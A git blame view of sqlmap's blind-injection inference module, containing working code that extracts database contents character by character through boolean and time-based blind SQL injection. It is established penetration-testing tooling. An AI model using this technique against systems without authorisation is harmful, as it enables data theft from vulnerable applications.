sqlmap/lib/techniques/blind/inference.py

711 lines
32 KiB
Python
Raw Normal View History

2019-05-08 13:47:52 +03:00
#!/usr/bin/env python
2008-10-15 19:38:22 +04:00
"""
2020-01-01 15:25:15 +03:00
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
2017-10-11 15:50:46 +03:00
See the file 'LICENSE' for copying permission
2008-10-15 19:38:22 +04:00
"""
2019-06-04 13:15:39 +03:00
from __future__ import division
2016-10-15 01:16:53 +03:00
import re
2008-10-15 19:38:22 +04:00
import time
from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds
2008-10-15 19:38:22 +04:00
from lib.core.common import dataToStdout
2019-05-03 14:20:15 +03:00
from lib.core.common import decodeDbmsHexValue
2011-01-19 18:25:48 +03:00
from lib.core.common import decodeIntToUnicode
from lib.core.common import filterControlChars
from lib.core.common import getCharset
from lib.core.common import getCounter
from lib.core.common import getPartRun
from lib.core.common import getTechnique
2019-07-18 12:27:00 +03:00
from lib.core.common import getTechniqueData
2019-06-04 15:44:06 +03:00
from lib.core.common import goGoodSamaritan
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import incrementCounter
2010-01-15 19:06:59 +03:00
from lib.core.common import safeStringFormat
2011-06-08 18:35:23 +04:00
from lib.core.common import singleTimeWarnMessage
2008-10-15 19:38:22 +04:00
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
2012-10-09 17:19:47 +04:00
from lib.core.enums import ADJUST_TIME_DELAY
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
2010-12-08 16:04:48 +03:00
from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapThreadException
2019-11-26 01:47:29 +03:00
from lib.core.exception import SqlmapUnsupportedFeatureException
2010-12-10 14:32:46 +03:00
from lib.core.settings import CHAR_INFERENCE_MARK
from lib.core.settings import INFERENCE_BLANK_BREAK
from lib.core.settings import INFERENCE_EQUALS_CHAR
2019-06-04 15:44:06 +03:00
from lib.core.settings import INFERENCE_GREATER_CHAR
from lib.core.settings import INFERENCE_MARKER
from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
2019-06-04 15:44:06 +03:00
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
from lib.core.settings import MAX_BISECTION_LENGTH
from lib.core.settings import MAX_REVALIDATION_STEPS
2016-01-09 19:32:19 +03:00
from lib.core.settings import NULL
2013-01-25 19:38:41 +04:00
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
from lib.core.settings import PARTIAL_VALUE_MARKER
2016-10-15 01:16:53 +03:00
from lib.core.settings import PAYLOAD_DELIMITER
2016-01-09 19:32:19 +03:00
from lib.core.settings import RANDOM_INTEGER_MARKER
from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD
2011-07-03 02:48:56 +04:00
from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
2008-10-15 19:38:22 +04:00
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
2013-05-13 16:50:03 +04:00
from lib.utils.progress import ProgressBar
2019-09-11 15:05:25 +03:00
from lib.utils.safe2bin import safecharencode
2013-01-14 19:18:03 +04:00
from lib.utils.xrange import xrange
2010-02-04 20:45:56 +03:00
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
2008-10-15 19:38:22 +04:00
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
"""
2012-07-06 19:18:22 +04:00
abortedFlag = False
2015-01-05 03:31:06 +03:00
showEta = False
partialValue = u""
finalValue = None
2012-10-28 15:30:21 +04:00
retrievedLength = 0
2018-05-18 00:07:52 +03:00
if payload is None:
return 0, None
if charsetType is None and conf.charset:
asciiTbl = sorted(set(ord(_) for _ in conf.charset))
else:
asciiTbl = getCharset(charsetType)
2016-09-21 16:45:55 +03:00
threadData = getCurrentThreadData()
timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
2012-02-24 18:54:10 +04:00
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal:
if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal:
pass
elif PARTIAL_HEX_VALUE_MARKER in retVal:
2013-01-25 19:38:41 +04:00
retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")
if retVal and conf.hexConvert:
partialValue = retVal
infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
logger.info(infoMsg)
elif PARTIAL_VALUE_MARKER in retVal:
2012-03-16 17:16:53 +04:00
retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
2012-07-12 04:38:29 +04:00
2013-01-25 19:38:41 +04:00
if retVal and not conf.hexConvert:
2012-03-16 17:16:53 +04:00
partialValue = retVal
infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
logger.info(infoMsg)
else:
infoMsg = "resumed: %s" % safecharencode(retVal)
logger.info(infoMsg)
return 0, retVal
try:
2016-11-11 15:46:41 +03:00
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
if conf.predictOutput:
kb.partRun = getPartRun()
2017-04-10 20:21:22 +03:00
elif conf.api:
kb.partRun = getPartRun(alias=False)
else:
kb.partRun = None
if partialValue:
firstChar = len(partialValue)
2017-11-08 17:47:12 +03:00
elif re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
firstChar = 0
elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
firstChar = int(conf.firstChar) - 1
2016-11-11 15:46:41 +03:00
if kb.fileReadMode:
firstChar <<= 1
elif hasattr(firstChar, "isdigit") and firstChar.isdigit() or isinstance(firstChar, int):
firstChar = int(firstChar) - 1
2013-05-07 15:25:30 +04:00
else:
firstChar = 0
2017-11-08 17:47:12 +03:00
if re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
lastChar = 0
elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):
lastChar = int(conf.lastChar)
elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int):
lastChar = int(lastChar)
2013-05-07 15:25:30 +04:00
else:
lastChar = 0
if Backend.getDbms():
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
2013-01-18 18:40:37 +04:00
expressionUnescaped = unescaper.escape(expressionReplaced)
else:
2013-01-18 18:40:37 +04:00
expressionUnescaped = unescaper.escape(expression)
if hasattr(length, "isdigit") and length.isdigit() or isinstance(length, int):
length = int(length)
2013-05-07 15:25:30 +04:00
else:
length = None
2008-10-15 19:38:22 +04:00
if length == 0:
return 0, ""
2008-10-15 19:38:22 +04:00
2013-01-07 21:39:35 +04:00
if length and (lastChar > 0 or firstChar > 0):
2013-01-07 15:52:55 +04:00
length = min(length, lastChar or length) - firstChar
2011-10-28 15:11:55 +04:00
if length and length > MAX_BISECTION_LENGTH:
length = None
showEta = conf.eta and isinstance(length, int)
if kb.bruteMode:
numThreads = 1
else:
numThreads = min(conf.threads or 0, length or 0) or 1
2010-03-12 17:48:33 +03:00
if showEta:
progress = ProgressBar(maxValue=length)
2011-05-27 12:30:52 +04:00
if numThreads > 1:
if not timeBasedCompare or kb.forceThreads:
debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
logger.debug(debugMsg)
else:
numThreads = 1
2019-07-18 21:32:02 +03:00
if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)):
warnMsg = "running in a single-thread mode. Please consider "
warnMsg += "usage of option '--threads' for faster data retrieval"
singleTimeWarnMessage(warnMsg)
if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
if isinstance(length, int) and numThreads > 1:
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
else:
2012-02-24 15:25:56 +04:00
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
def tryHint(idx):
2019-08-13 15:59:10 +03:00
with kb.locks.hint:
2012-06-14 17:50:36 +04:00
hintValue = kb.hintValue
2019-06-04 13:15:39 +03:00
if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
2013-01-10 16:18:44 +04:00
posValue = hintValue[idx - 1]
else:
2013-01-10 16:18:44 +04:00
posValue = ord(hintValue[idx - 1])
2019-05-02 17:54:54 +03:00
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
2017-06-18 15:07:48 +03:00
forgedPayload = agent.extractPayload(payload)
2019-05-02 17:54:54 +03:00
forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)).replace(markingValue, unescapedCharValue)
2017-06-18 15:07:48 +03:00
result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
if result:
2013-01-10 16:18:44 +04:00
return hintValue[idx - 1]
2011-02-01 01:51:14 +03:00
2019-08-13 15:59:10 +03:00
with kb.locks.hint:
2019-06-04 13:15:39 +03:00
kb.hintValue = ""
return None
def validateChar(idx, value):
"""
Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
"""
2010-12-10 14:32:46 +03:00
2016-10-15 01:16:53 +03:00
validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)
2014-03-12 00:11:51 +04:00
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
2016-10-15 01:16:53 +03:00
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
2013-01-21 01:47:26 +04:00
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))
2016-10-15 01:16:53 +03:00
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
2013-01-21 01:47:26 +04:00
result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
2019-07-18 12:27:00 +03:00
if result and timeBasedCompare and getTechniqueData().trueCode:
result = threadData.lastCode == getTechniqueData().trueCode
if not result:
2019-07-18 12:27:00 +03:00
warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, getTechniqueData().trueCode)
singleTimeWarnMessage(warnMsg)
incrementCounter(getTechnique())
return result
2015-08-17 00:47:11 +03:00
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
"""
continuousOrder means that distance between each two neighbour's
numerical values is exactly 1
"""
2010-12-11 13:22:18 +03:00
result = tryHint(idx)
if result:
return result
2012-03-01 14:17:39 +04:00
if charTbl is None:
2013-01-14 19:18:03 +04:00
charTbl = type(asciiTbl)(asciiTbl)
2012-03-01 14:17:39 +04:00
2014-08-28 16:26:55 +04:00
originalTbl = type(charTbl)(charTbl)
if continuousOrder and shiftTable is None:
# Used for gradual expanding into unicode charspace
shiftTable = [2, 2, 3, 3, 5, 4]
2015-09-28 10:54:41 +03:00
if "'%s'" % CHAR_INFERENCE_MARK in payload:
for char in ('\n', '\r'):
if ord(char) in charTbl:
charTbl.remove(ord(char))
2008-10-15 19:38:22 +04:00
2012-03-01 14:17:39 +04:00
if not charTbl:
return None
elif len(charTbl) == 1:
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
if result:
return decodeIntToUnicode(charTbl[0])
else:
return None
maxChar = maxValue = charTbl[-1]
2019-06-01 01:53:47 +03:00
minValue = charTbl[0]
2016-09-21 16:45:55 +03:00
firstCheck = False
lastCheck = False
unexpectedCode = False
2017-09-25 12:32:40 +03:00
if continuousOrder:
while len(charTbl) > 1:
position = None
2016-09-21 16:45:55 +03:00
2017-09-25 12:32:40 +03:00
if charsetType is None:
if not firstCheck:
2016-09-21 16:45:55 +03:00
try:
2017-09-25 12:32:40 +03:00
try:
lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
except IndexError:
lastChar = None
2019-05-02 17:54:54 +03:00
else:
if 'a' <= lastChar <= 'z':
position = charTbl.index(ord('a') - 1) # 96
elif 'A' <= lastChar <= 'Z':
position = charTbl.index(ord('A') - 1) # 64
elif '0' <= lastChar <= '9':
position = charTbl.index(ord('0') - 1) # 47
2016-09-21 16:45:55 +03:00
except ValueError:
pass
finally:
2017-09-25 12:32:40 +03:00
firstCheck = True
elif not lastCheck and numThreads == 1: # not usable in multi-threading environment
if charTbl[(len(charTbl) >> 1)] < ord(' '):
try:
# favorize last char check if current value inclines toward 0
position = charTbl.index(1)
except ValueError:
pass
finally:
lastCheck = True
if position is None:
position = (len(charTbl) >> 1)
posValue = charTbl[position]
falsePayload = None
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
2016-01-09 19:32:19 +03:00
else:
2017-09-25 12:32:40 +03:00
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)
if timeBasedCompare:
if kb.responseTimeMode:
kb.responseTimePayload = falsePayload
else:
kb.responseTimePayload = None
2016-01-09 02:55:01 +03:00
2017-09-25 12:32:40 +03:00
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
2008-10-15 19:38:22 +04:00
2019-07-30 21:12:45 +03:00
if not timeBasedCompare and getTechniqueData() is not None:
2019-07-18 12:27:00 +03:00
unexpectedCode |= threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)
2017-09-25 12:32:40 +03:00
if unexpectedCode:
warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode
singleTimeWarnMessage(warnMsg)
2017-09-25 12:32:40 +03:00
if result:
minValue = posValue
2017-11-08 17:47:12 +03:00
if not isinstance(charTbl, xrange):
2017-09-25 12:32:40 +03:00
charTbl = charTbl[position:]
else:
# xrange() - extended virtual charset used for memory/space optimization
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
2010-05-28 14:01:19 +04:00
else:
2017-09-25 12:32:40 +03:00
maxValue = posValue
2011-11-22 19:06:51 +04:00
2017-11-08 17:47:12 +03:00
if not isinstance(charTbl, xrange):
2017-09-25 12:32:40 +03:00
charTbl = charTbl[:position]
else:
charTbl = xrange(charTbl[0], charTbl[position])
2017-09-25 12:32:40 +03:00
if len(charTbl) == 1:
if maxValue == 1:
return None
2011-11-22 19:06:51 +04:00
# Going beyond the original charset
elif minValue == maxChar:
# If the original charTbl was [0,..,127] new one
# will be [128,..,(128 << 4) - 1] or from 128 to 2047
# and instead of making a HUGE list with all the
# elements we use a xrange, which is a virtual
# list
if expand and shiftTable:
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
2013-01-14 19:18:03 +04:00
originalTbl = xrange(charTbl)
maxChar = maxValue = charTbl[-1]
2019-05-09 16:49:39 +03:00
minValue = charTbl[0]
else:
return None
else:
retVal = minValue + 1
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
if not kb.originalTimeDelay:
kb.originalTimeDelay = conf.timeSec
threadData.validationRun = 0
2019-05-09 11:17:50 +03:00
if (retried or 0) < MAX_REVALIDATION_STEPS:
errMsg = "invalid character detected. retrying.."
logger.error(errMsg)
if timeBasedCompare:
if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
conf.timeSec += 1
2017-11-08 17:47:12 +03:00
warnMsg = "increasing time delay to %d second%s" % (conf.timeSec, 's' if conf.timeSec > 1 else '')
logger.warn(warnMsg)
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
dbgMsg = "turning off time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
2015-08-17 00:47:11 +03:00
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
else:
errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
logger.error(errMsg)
conf.timeSec = kb.originalTimeDelay
return decodeIntToUnicode(retVal)
else:
if timeBasedCompare:
threadData.validationRun += 1
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
2012-05-26 11:01:37 +04:00
dbgMsg = "turning back on time auto-adjustment mechanism"
logger.debug(dbgMsg)
2012-10-09 17:19:47 +04:00
kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES
return decodeIntToUnicode(retVal)
else:
return None
2017-09-25 12:32:40 +03:00
else:
2019-11-26 01:47:29 +03:00
if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset:
errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms()
raise SqlmapUnsupportedFeatureException(errMsg)
2017-09-25 12:32:40 +03:00
candidates = list(originalTbl)
bit = 0
while len(candidates) > 1:
bits = {}
for candidate in candidates:
bit = 0
while candidate:
bits.setdefault(bit, 0)
bits[bit] += 1 if candidate & 1 else -1
candidate >>= 1
bit += 1
choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0]
mask = 1 << choice
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
2017-09-25 12:32:40 +03:00
if result:
candidates = [_ for _ in candidates if _ & mask > 0]
else:
2017-09-25 12:32:40 +03:00
candidates = [_ for _ in candidates if _ & mask == 0]
2014-08-28 16:26:55 +04:00
2017-09-25 12:32:40 +03:00
bit += 1
2017-09-25 12:32:40 +03:00
if candidates:
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0]))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
2017-09-25 12:32:40 +03:00
if result:
return decodeIntToUnicode(candidates[0])
2010-02-04 20:45:56 +03:00
# Go multi-threading (--threads > 1)
if numThreads > 1 and isinstance(length, int) and length > 1:
2013-01-10 14:54:07 +04:00
threadData.shared.value = [None] * length
threadData.shared.index = [firstChar] # As list for python nested function scoping
threadData.shared.start = firstChar
2011-07-03 02:48:56 +04:00
try:
def blindThread():
threadData = getCurrentThreadData()
2011-07-03 02:48:56 +04:00
while kb.threadContinue:
2017-11-24 13:44:14 +03:00
with kb.locks.index:
if threadData.shared.index[0] - firstChar >= length:
return
2008-10-15 19:38:22 +04:00
2017-11-24 13:44:14 +03:00
threadData.shared.index[0] += 1
currentCharIndex = threadData.shared.index[0]
2008-10-15 19:38:22 +04:00
if kb.threadContinue:
val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset))
if val is None:
val = INFERENCE_UNKNOWN_CHAR
else:
break
2008-10-15 19:38:22 +04:00
2012-06-14 17:50:36 +04:00
with kb.locks.value:
threadData.shared.value[currentCharIndex - 1 - firstChar] = val
2012-06-14 17:50:36 +04:00
currentValue = list(threadData.shared.value)
if kb.threadContinue:
if showEta:
2018-07-05 16:13:51 +03:00
progress.progress(threadData.shared.index[0])
elif conf.verbose >= 1:
startCharIndex = 0
endCharIndex = 0
2010-03-25 19:26:50 +03:00
for i in xrange(length):
if currentValue[i] is not None:
endCharIndex = max(endCharIndex, i)
2010-03-25 19:26:50 +03:00
output = ''
2010-03-25 19:26:50 +03:00
if endCharIndex > conf.progressWidth:
startCharIndex = endCharIndex - conf.progressWidth
2010-03-25 19:26:50 +03:00
count = threadData.shared.start
2010-03-25 19:26:50 +03:00
for i in xrange(startCharIndex, endCharIndex + 1):
2018-08-08 00:35:58 +03:00
output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ')
for i in xrange(length):
count += 1 if currentValue[i] is not None else 0
if startCharIndex > 0:
output = ".." + output[2:]
2013-01-10 16:18:44 +04:00
if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
output = output[:-2] + ".."
if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
_ = count - firstChar
output += '_' * (min(length, conf.progressWidth) - len(output))
status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length))
output += status if _ != length else " " * len(status)
2011-01-12 00:46:21 +03:00
2018-08-08 00:35:58 +03:00
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output))
runThreads(numThreads, blindThread, startThreadMsg=False)
except KeyboardInterrupt:
abortedFlag = True
finally:
value = [_ for _ in partialValue]
value.extend(_ for _ in threadData.shared.value)
infoMsg = None
2010-03-11 14:20:52 +03:00
# If we have got one single character not correctly fetched it
# can mean that the connection to the target URL was lost
if None in value:
2012-03-28 17:31:07 +04:00
partialValue = "".join(value[:value.index(None)])
if partialValue:
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue))
else:
finalValue = "".join(value)
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))
2010-05-27 20:45:09 +04:00
if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)):
dataToStdout(infoMsg)
2008-10-15 19:38:22 +04:00
# No multi-threading (--threads = 1)
else:
index = firstChar
2016-09-21 16:45:55 +03:00
threadData.shared.value = ""
while True:
index += 1
# Common prediction feature (a.k.a. "good samaritan")
# NOTE: to be used only when multi-threading is not set for
# the moment
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
val = None
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
# If there is one single output in common-outputs, check
# it via equal against the query output
if commonValue is not None:
# One-shot query containing equals commonValue
2013-01-18 18:40:37 +04:00
testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)
2019-07-18 12:27:00 +03:00
query = getTechniqueData().vector
query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue)))
query = agent.suffixQuery(query)
2013-03-05 21:32:31 +04:00
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
2008-10-15 19:38:22 +04:00
# Did we have luck?
if result:
if showEta:
2018-07-05 16:13:51 +03:00
progress.progress(len(commonValue))
2017-04-10 20:21:22 +03:00
elif conf.verbose in (1, 2) or conf.api:
2013-01-10 16:18:44 +04:00
dataToStdout(filterControlChars(commonValue[index - 1:]))
finalValue = commonValue
break
# If there is a common pattern starting with partialValue,
# check it via equal against the substring-query output
if commonPattern is not None:
# Substring-query containing equals commonPattern
subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
2013-01-18 18:40:37 +04:00
testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)
2019-07-18 12:27:00 +03:00
query = getTechniqueData().vector
query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue)))
query = agent.suffixQuery(query)
2013-03-05 21:32:31 +04:00
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
2008-10-15 19:38:22 +04:00
# Did we have luck?
if result:
2013-01-10 16:18:44 +04:00
val = commonPattern[index - 1:]
index += len(val) - 1
# Otherwise if there is no commonValue (single match from
# txt/common-outputs.txt) and no commonPattern
# (common pattern) use the returned common charset only
# to retrieve the query output
if not val and commonCharset:
val = getChar(index, commonCharset, False)
# If we had no luck with commonValue and common charset,
# use the returned other charset
if not val:
val = getChar(index, otherCharset, otherCharset == asciiTbl)
else:
val = getChar(index, asciiTbl, not(charsetType is None and conf.charset))
2008-10-15 19:38:22 +04:00
if val is None:
finalValue = partialValue
break
2008-10-15 19:38:22 +04:00
if kb.data.processChar:
val = kb.data.processChar(val)
2008-10-15 19:38:22 +04:00
2016-09-21 16:45:55 +03:00
threadData.shared.value = partialValue = partialValue + val
if showEta:
2018-07-05 16:13:51 +03:00
progress.progress(index)
elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api:
dataToStdout(filterControlChars(val))
2008-10-15 19:38:22 +04:00
# some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
2019-05-02 17:54:54 +03:00
if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
break
2019-02-07 18:45:16 +03:00
elif charsetType and partialValue[-1:].isspace():
2019-02-07 18:49:58 +03:00
finalValue = partialValue[:-1]
2019-02-07 18:45:16 +03:00
break
2008-10-15 19:38:22 +04:00
if (lastChar > 0 and index >= lastChar):
finalValue = "" if length == 0 else partialValue
finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue
partialValue = None
break
except KeyboardInterrupt:
abortedFlag = True
2012-02-24 14:57:23 +04:00
finally:
kb.prependFlag = False
2012-10-28 15:30:21 +04:00
retrievedLength = len(finalValue or "")
if finalValue is not None:
2019-05-03 14:20:15 +03:00
finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue
hashDBWrite(expression, finalValue)
2012-03-16 17:14:14 +04:00
elif partialValue:
2013-01-25 19:38:41 +04:00
hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))
if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)):
2012-10-28 15:30:21 +04:00
infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength)
dataToStdout(infoMsg)
else:
if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
dataToStdout("\n")
if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
infoMsg = "retrieved: %s" % filterControlChars(finalValue)
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if kb.threadException:
raise SqlmapThreadException("something unexpected happened inside the threads")
2008-10-15 19:38:22 +04:00
if abortedFlag:
raise KeyboardInterrupt
_ = finalValue or partialValue
2015-11-16 17:33:05 +03:00
return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _
def queryOutputLength(expression, payload):
"""
Returns the query output length.
"""
infoMsg = "retrieving the length of query output"
logger.info(infoMsg)
start = time.time()
lengthExprUnescaped = agent.forgeQueryOutputLength(expression)
count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS)
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
logger.debug(debugMsg)
if length == " ":
length = 0
return length